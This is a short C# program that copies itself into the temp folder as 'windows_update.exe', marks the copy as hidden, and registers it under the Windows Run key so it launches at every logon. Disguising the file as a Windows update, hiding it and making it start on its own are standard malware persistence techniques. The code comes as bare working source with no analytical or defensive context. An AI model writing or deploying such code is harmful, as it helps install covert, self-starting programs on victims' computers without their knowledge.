using System;
using System.IO;
using Microsoft.Win32;

namespace autostart
{
    class Program
    {
        static void Main()
        {
            try
            {
                if (File.Exists(Path.GetTempPath() + "windows_update.exe") == false)
                    File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "windows_update.exe", true);
                    File.SetAttributes(Path.GetTempPath() + "windows_update.exe", File.GetAttributes(Path.GetTempPath() + "windows_update.exe") | FileAttributes.Hidden);
                    Console.WriteLine("File copy OK");
            }
            catch (Exception b)
            {
                Console.WriteLine("File copy failed : " + b);

            }
            try
            {
                var rkApp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                if (rkApp != null)
                    if (rkApp.GetValue("windows_update.exe") == null)
                        rkApp.SetValue("windows_update.exe", Path.GetTempPath() + "windows_update.exe");
                Console.WriteLine("Registry access OK");
            }
            catch (Exception c)
            {
                Console.WriteLine("Writing in registry failed " + c);
            }
        }
    }
}